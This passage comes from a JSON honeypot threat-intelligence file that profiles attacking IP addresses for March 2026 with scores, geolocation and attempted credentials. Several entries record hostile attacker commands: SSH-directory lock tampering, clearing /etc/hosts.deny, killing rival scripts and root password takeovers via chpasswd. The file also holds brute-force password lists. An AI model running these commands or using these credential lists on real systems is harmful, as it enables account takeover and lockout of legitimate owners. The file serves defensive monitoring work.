        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 310,
        "days_active_30d": 30,
        "ports_targeted_30d": 80,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T09:59:13+00:00",
        "last_seen_30d": "2026-03-31T06:58:43.974000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 194,
        "Honeytrap": 95,
        "Redishoneypot": 11,
        "Dionaea": 4,
        "Tanner": 4,
        "Cowrie": 2
      }
    },
    "66.66.163.151": {
      "attack_count": 2,
      "first_seen": "2026-03-03T16:49:04.034Z",
      "last_seen": "2026-03-03T16:49:17.224Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Irondequoit",
      "asn": 11351,
      "as_org": "Charter Communications Inc",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T16:49:04.034000+00:00",
        "last_seen_30d": "2026-03-03T16:50:21.865000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "77.0.38.47": {
      "attack_count": 2,
      "first_seen": "2026-03-23T06:20:26.966Z",
      "last_seen": "2026-03-23T06:20:43.514Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Hamburg",
      "asn": 6805,
      "as_org": "Telefonica Germany",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T06:20:26.966000+00:00",
        "last_seen_30d": "2026-03-23T06:21:50.658000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "78.36.210.92": {
      "attack_count": 2,
      "first_seen": "2026-03-16T03:51:29.479Z",
      "last_seen": "2026-03-16T03:51:44.083Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Sovetsk",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T03:51:29.479000+00:00",
        "last_seen_30d": "2026-03-16T03:52:45.808000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.222.188.36": {
      "attack_count": 2,
      "first_seen": "2026-03-26T17:37:00.281Z",
      "last_seen": "2026-03-26T17:37:31.057Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T17:37:00.281000+00:00",
        "last_seen_30d": "2026-03-26T17:38:39.594000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.230.168.125": {
      "attack_count": 2,
      "first_seen": "2026-03-24T21:05:54.642Z",
      "last_seen": "2026-03-24T21:05:54.643Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 91.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 128,
        "days_active_30d": 30,
        "ports_targeted_30d": 46,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T09:18:53+00:00",
        "last_seen_30d": "2026-03-31T17:30:23.942000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 72,
        "Honeytrap": 45,
        "Miniprint": 8,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "2.57.122.238": {
      "attack_count": 2064,
      "first_seen": "2026-03-02T10:06:40.272Z",
      "last_seen": "2026-03-29T03:33:09.117Z",
      "sessions": 413,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "solv",
        "ubuntu",
        "ethereum",
        "node",
        "solana",
        "validator",
        "stradal"
      ],
      "passwords_attempted": [
        "12345678",
        "stradal",
        "123",
        "1234",
        "sol123",
        "solv",
        "ubuntu",
        "123456",
        "ethereum",
        "node",
        "sol",
        "solana",
        "validator",
        "abcd1234",
        "admin@123",
        "duga",
        "durak",
        "duruga",
        "russian",
        "abc123"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 61.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3101,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T10:05:31.565000+00:00",
        "last_seen_30d": "2026-03-29T03:34:18.060000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2064,
        "Suricata": 1037
      }
    },
    "167.71.199.233": {
      "attack_count": 1065,
      "first_seen": "2026-03-13T00:59:44.157Z",
      "last_seen": "2026-03-13T03:50:07.535Z",
      "sessions": 212,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "oracle",
        "git",
        "mysql",
        "postgres",
        "tomcat",
        "ec2-user",
        "jenkins",
        "mongodb",
        "docker",
        "redis",
        "svn",
        "ubuntu",
        "centos",
        "debian",
        "fedora",
        "pi"
      ],
      "passwords_attempted": [
        "P@ssw0rd",
        "admin",
        "admin123",
        "letmein",
        "root",
        "111111",
        "123123",
        "123321",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "123456a",
        "123456b",
        "123456c",
        "123abc",
        "123qwe"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 17.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 1523,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T00:59:44.157000+00:00",
        "last_seen_30d": "2026-03-13T03:51:11.302000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1065,
        "Suricata": 458
      }
    },
    "185.113.139.51": {
      "attack_count": 890,
      "first_seen": "2026-03-02T16:30:52.289Z",
      "last_seen": "2026-03-18T09:55:28.742Z",
      "sessions": 73,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "abc",
        "casaos",
        "cb",
        "init",
        "cc",
        "ceph",
        "craft",
        "erpnext",
        "ftpd",
        "gns3",
        "javier",
        "llm",
        "lx",
        "m1",
        "monica",
        "nick",
        "odoo17",
        "reolink"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Bingo@1993",
        "password",
        "000000000",
        "123",
        "123!@#aA",
        "1234",
        "12345",
        "123456",
        "12345678",
        "1a2b3c4d@",
        "1qazxsw23edc",
        "2wsx@WSX",
        "585858",
        "Abc123",
        "Ceph",
        "Hm123456",
        "Init123!",
        "Llm123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\nyg7Hc9ErZqlG\\nyg7Hc9ErZqlG\\n\"|passwd",
        "echo \"Abc123\\nck5obvmsA8UJ\\nck5obvmsA8UJ\\n\"|passwd",
        "echo \"Init123!\\n8rjm1QeAWKei\\n8rjm1QeAWKei\\n\"|passwd",
        "echo \"cbpass\\neSg3nn8dptdn\\neSg3nn8dptdn\\n\"|passwd",
        "echo \"root:N19aWHgflIqC\"|chpasswd|bash",
        "echo \"root:OWfHIlqhDuxw\"|chpasswd|bash",
        "echo \"root:PGa3MLMqtMXc\"|chpasswd|bash",
        "echo \"root:gNC5oO3u0d6C\"|chpasswd|bash",
        "echo \"root:tNTPhFFfmght\"|chpasswd|bash",
        "echo -e \"1234\\nyg7Hc9ErZqlG\\nyg7Hc9ErZqlG\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Latvia",
      "country_code": "LV",
      "city": "Riga",
      "asn": 41745,
      "as_org": "Baykov Ilya Sergeevich",
      "threat_score": 31.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 1061,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T16:30:52.289000+00:00",
        "last_seen_30d": "2026-03-18T09:56:37.119000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 890,
        "Suricata": 171
      }
    },
    "175.100.24.139": {
      "attack_count": 878,
      "first_seen": "2026-03-17T12:13:48.030Z",
      "last_seen": "2026-03-29T18:12:44.616Z",
      "sessions": 82,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "chenghao",
        "leo",
        "lzy",
        "soporte",
        "api",
        "bryan",
        "deamon",
        "dspace",
        "escaner",
        "grid",
        "hh",
        "inversiones",
        "lucas",
        "marco",
        "milad",
        "msf",
        "patrick",
        "prueba"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "password",
        "007007",
        "0okmnji9",
        "123!@#Qwe",
        "1234",
        "123456",
        "12345678",
        "1234567891",
        "123QWEasd",
        "123aa123",
        "123ewqasd",
        "1q2w3e#@!",
        "20240261",
        "5202614qwe",
        "555555",
        "821027"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345\\nStZl4aKeOalC\\nStZl4aKeOalC\\n\"|passwd",
        "echo \"12345\\nZOU4vcp3aA4D\\nZOU4vcp3aA4D\\n\"|passwd",
        "echo \"Chenghao123!\\nGq0gRddrzFgF\\nGq0gRddrzFgF\\n\"|passwd",
        "echo \"lzypass\\nj2IxydWPmBI9\\nj2IxydWPmBI9\\n\"|passwd",
        "echo \"root:4j8iVC7coJqw\"|chpasswd|bash",
        "echo \"root:96y7HjMCWfPu\"|chpasswd|bash",
        "echo \"root:qu8KHFE4pDkA\"|chpasswd|bash",
        "echo \"root:zUo9hKuenvE2\"|chpasswd|bash",
        "echo -e \"12345\\nStZl4aKeOalC\\nStZl4aKeOalC\"|passwd|bash",
        "echo -e \"12345\\nZOU4vcp3aA4D\\nZOU4vcp3aA4D\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Cambodia",
      "country_code": "KH",
      "city": "Phnom Penh",
      "asn": 38623,
      "as_org": "ISPIXP IN CAMBODIA WITH THE BEST VERVICE IN THERE.",
      "threat_score": 49.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 1083,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T12:13:48.030000+00:00",
        "last_seen_30d": "2026-03-29T18:13:45.960000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 878,
        "Suricata": 205
      }
    },
    "185.216.119.134": {
      "attack_count": 691,
      "first_seen": "2026-03-03T01:35:30.131Z",
      "last_seen": "2026-03-15T16:27:24.537Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1",
        "nodejs",
        "pepe",
        "student2",
        "webapp",
        "admin",
        "adv",
        "andrey",
        "android",
        "astra",
        "bitwarden",
        "bounce",
        "cs",
        "diego",
        "ftpuser01",
        "informatica",
        "issabel",
        "itadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "1233218613",
        "1234",
        "123456",
        "12345678",
        "!QAZ2wsx123",
        "111",
        "1221",
        "12345",
        "ASDasd123",
        "Aa1234567890",
        "Android123",
        "Asdf123456",
        "Bitwarden123!",
        "Bounce123!",
        "Diego123!",
        "Itadmin123",
        "Lk@123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1233218613\\nrZLIBXP1ryLl\\nrZLIBXP1ryLl\\n\"|passwd",
        "echo \"12345\\nEBwEWWU8noWt\\nEBwEWWU8noWt\\n\"|passwd",
        "echo \"Student2123\\nX2KS71JK6L9P\\nX2KS71JK6L9P\\n\"|passwd",
        "echo \"password\\nch06o59Wqs9V\\nch06o59Wqs9V\\n\"|passwd",
        "echo \"root:0CSrtMVm70oY\"|chpasswd|bash",
        "echo \"root:nOPMzBz0tSws\"|chpasswd|bash",
        "echo \"webapp123!\\nkJSIeecJ24G2\\nkJSIeecJ24G2\\n\"|passwd",
        "echo -e \"1233218613\\nrZLIBXP1ryLl\\nrZLIBXP1ryLl\"|passwd|bash",
        "echo -e \"12345\\nEBwEWWU8noWt\\nEBwEWWU8noWt\"|passwd|bash",
        "echo -e \"Student2123\\nX2KS71JK6L9P\\nX2KS71JK6L9P\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 24544,
      "as_org": "Overcasts Limited",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.2,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 827,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T01:35:30.131000+00:00",
        "last_seen_30d": "2026-03-15T16:28:28.930000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 691,
        "Suricata": 136
      }
    },
    "206.189.86.161": {
      "attack_count": 670,
      "first_seen": "2026-03-05T15:29:52.098Z",
      "last_seen": "2026-03-05T17:04:15.068Z",
      "sessions": 133,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "test",
        "user",
        "ubuntu"
      ],
      "passwords_attempted": [
        "000000",
        "111111",
        "123",
        "123123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "abc123",
        "admin",
        "admin123",
        "password",
        "password1",
        "qwerty",
        "123321",
        "1234567890",
        "123456a",
        "123456b"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 955,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T15:29:07.419000+00:00",
        "last_seen_30d": "2026-03-05T17:05:17.251000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 670,
        "Suricata": 285
      }
    },
    "27.119.7.6": {
      "attack_count": 637,
      "first_seen": "2026-03-08T12:15:10.600Z",
      "last_seen": "2026-03-28T20:36:53.146Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "anon",
        "edward",
        "nicolas",
        "sistemas",
        "applmgr",
        "devopsuser",
        "ir",
        "jenkins",
        "media",
        "samba",
        "seekcy",
        "sig",
        "sysadmin",
        "term2",
        "userftp",
        "vadim",
        "vicente",
        "vss"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "12345",
        "123456",
        "123678",
        "123qwe,.",
        "142857",
        "159753as",
        "AAAaaa123",
        "Admin#",
        "Admin123#",
        "Ak123456",
        "Hf123456!",
        "Ir123!",
        "Jenkins123!",
        "P@ssword123.",
        "QWEasdZXC123",
        "Root12345!",
        "Term2123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\n3EdHsE933wij\\n3EdHsE933wij\\n\"|passwd",
        "echo \"anonpassword\\nXd7yO7mJasYA\\nXd7yO7mJasYA\\n\"|passwd",
        "echo \"edward1234\\n8gjL5u9n55EQ\\n8gjL5u9n55EQ\\n\"|passwd",
        "echo \"root:TOyypTWYJBbH\"|chpasswd|bash",
        "echo \"root:wBmJJFrHR0un\"|chpasswd|bash",
        "echo \"sistemas\\n5lLAwrsbQFb4\\n5lLAwrsbQFb4\\n\"|passwd",
        "echo -e \"12345678\\n3EdHsE933wij\\n3EdHsE933wij\"|passwd|bash",
        "echo -e \"anonpassword\\nXd7yO7mJasYA\\nXd7yO7mJasYA\"|passwd|bash",
        "echo -e \"edward1234\\n8gjL5u9n55EQ\\n8gjL5u9n55EQ\"|passwd|bash",
        "echo -e \"sistemas\\n5lLAwrsbQFb4\\n5lLAwrsbQFb4\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Suwon",
      "asn": 23563,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 52.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.9,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 781,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T12:15:10.600000+00:00",
        "last_seen_30d": "2026-03-28T20:37:56.100000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 637,
        "Suricata": 144
      }
    },
    "165.154.22.6": {
      "attack_count": 544,
      "first_seen": "2026-03-11T10:15:47.085Z",
      "last_seen": "2026-03-17T17:51:46.286Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "7days",
        "admin123",
        "jirka",
        "km",
        "n8n",
        "opc",
        "aws",
        "debian",
        "diana",
        "gbase",
        "jenkins",
        "khan",
        "mosquitto",
        "report",
        "roots",
        "sammy",
        "teamspeak",
        "user02"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "!QAZxdr5",
        "12121212",
        "12345",
        "2025",
        "Aa123456!@#",
        "Gbase123!",
        "Km123",
        "Mosquitto123",
        "Sammy123!",
        "Tk123456",
        "User02123!",
        "Vas123!",
        "admin123@123456",
        "aws@123",
        "dianapassword",
        "jirka",
        "khanpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nxnWoZpJfBuLk\\nxnWoZpJfBuLk\\n\"|passwd",
        "echo \"Km123\\n4vZZiuXTxGMH\\n4vZZiuXTxGMH\\n\"|passwd",
        "echo \"admin123@123456\\nNiKZbSbJQfoU\\nNiKZbSbJQfoU\\n\"|passwd",
        "echo \"jirka\\n7mK3s97La1s7\\n7mK3s97La1s7\\n\"|passwd",
        "echo \"n8n\\ngWjpJWVVi3V7\\ngWjpJWVVi3V7\\n\"|passwd",
        "echo \"opcopc\\nT3VlpKxIuU4T\\nT3VlpKxIuU4T\\n\"|passwd",
        "echo -e \"123\\nxnWoZpJfBuLk\\nxnWoZpJfBuLk\"|passwd|bash",
        "echo -e \"Km123\\n4vZZiuXTxGMH\\n4vZZiuXTxGMH\"|passwd|bash",
        "echo -e \"admin123@123456\\nNiKZbSbJQfoU\\nNiKZbSbJQfoU\"|passwd|bash",
        "echo -e \"jirka\\n7mK3s97La1s7\\n7mK3s97La1s7\"|passwd|bash",
        "echo -e \"n8n\\ngWjpJWVVi3V7\\ngWjpJWVVi3V7\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 24.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.0,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 631,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T10:15:47.085000+00:00",
        "last_seen_30d": "2026-03-17T17:52:50.593000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 544,
        "Suricata": 87
      }
    },
    "188.166.253.57": {
      "attack_count": 527,
      "first_seen": "2026-03-09T15:35:14.902Z",
      "last_seen": "2026-03-09T17:19:22.482Z",
      "sessions": 98,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "centos",
        "test",
        "ubuntu",
        "guest"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "12345678",
        "password",
        "000000",
        "111111",
        "123",
        "123123",
        "1234",
        "123456789",
